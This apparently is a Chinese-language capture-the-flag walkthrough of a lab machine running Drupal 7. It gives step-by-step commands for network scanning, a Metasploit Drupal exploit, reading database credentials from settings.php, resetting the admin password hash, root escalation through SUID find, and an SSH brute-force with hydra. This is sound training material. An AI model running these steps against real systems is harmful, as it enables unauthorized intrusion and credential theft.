一、实验准备及环境配置
攻击机:kali.192.168.0.129
靶机:192.168.0.128
保证攻击机和靶机处于同一网段,可以将kali和靶机进行如下设置
接下来进入正题:
1、信息收集
打开kali,使用命令arp-scan -l 扫描存活主机
因为本机IP为192.168.0.129,故分析的靶机IP为192.168.0.128,于是进一步对靶机的开放端口进行扫描,nmap -sV -A -P 192.168.0.128
可以发现其开放了22,80,111端口,其中80端口存在web服务,我们在浏览器直接访问一下
可以发现其运行的CMS是Drupal 7。
至此信息收集结束,我们来总结一下成果,本次收集到靶机的IP信息,端口以及运行在端口上的服务信息,同时还收集来本次实验的突破点CMS是Drupal 7。由于drupal是一个典型漏洞,所以只需借助kali中内置的工具MSF进行渗透即可。
2、利用MSF进行渗透
打开MSF,输入命令msfconsole
然后再输入命令searchsploit Drupa 7,搜索Drupal 7的漏洞,可以发现有不少漏洞
接着输入命令search drupal搜索漏洞利用模块,发现如下exp。
一般来说时间exp越新越好,在这里能利用的exp是最新的2018年的,所以我们选择正规exp。所以我们直接输入use 1(2018exp对应的序号是1),进入2018exp,然后输入show options查看exp配置。
接下来我们输入命令set rhosts 192.168.0.128,RJOSTS设置为靶机地址。
设置完成后直接运行msf,命令run
运行成功后直接输入命令shell,然后再输入命令whoami查看当前权限,然后输入ls,查看有哪些文件成功发现flag1.txt。
接着我们以flag1.txt为线索继续突破,cat flag1.txt 查看该文件,发现提示寻找站点的配置文件(flag2的线索)。
根据flag1提供的线索我们去网上寻找该Drupal的配置文件路径是 /var/www/sites/default/settings.php,于是我们直接查看配置文件
cat /var/www/sites/default/settings.php。
通过上述步骤发现了flag2和数据库账号密码
根据提示我们需要进一步提升权限至root,或者字典爆破。
接下来我们输入命令shell切换壳进行数据库登录,再输入命令
python -c "import pty;pty.spawn('/bin/bash')" ,利用python触发交互式shell,再进行数据库的登录。
登录数据库
先进入数据库show databases; ,再查drupaldb表,命令use drupaldb;(注意双引号不能丢),然后再查询用户select * from users;发现了管理员信息admin.
接下来对admin的密码进行修改,首先先退出数据库exit,然后输入命令php scripts/password-hash.sh 123456(自定义的新密码),对密码进行置换。
然后进入数据库将admin密码字段的哈希值进行替换mysql -u dbuser -p,R0ck3t,use drupaldb;
上图结果表示密码置换成功,我们试着登录看看,账户admin,密码123456,发现登录成功
经过一番寻找发现flag3
进入flag3发现提示信息如下,提示我们用find命令进行提权
先使用find查询suid的可执行的程序
发现了find命令,然后对find命令进行权限测试
输入命令touch cheng ,ls
find / -name cheng -exec "whoami" \;
发现find命令具有root权限,接着进行find提权依次执行这些命令:
find / -name yue -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看cat thefinalflag.txt文件,大致意思是通过了该实验
但是最后我们通过查看 /etc/passwd 文件,发现存在 flag4 用户,因为该靶机上的22号端口运行着ssh服务,所以我们可以使用 hydra 进行远程登录爆破
我们重新打开一个命令窗口输入命令hydra -l flag4 -P /root/Desktop/ps2.txt ssh://192.168.0.128
我们发现密码为orange,接下来进行ssh登录ssh flag4@192.168.0.128
登录成功,至此渗透结束。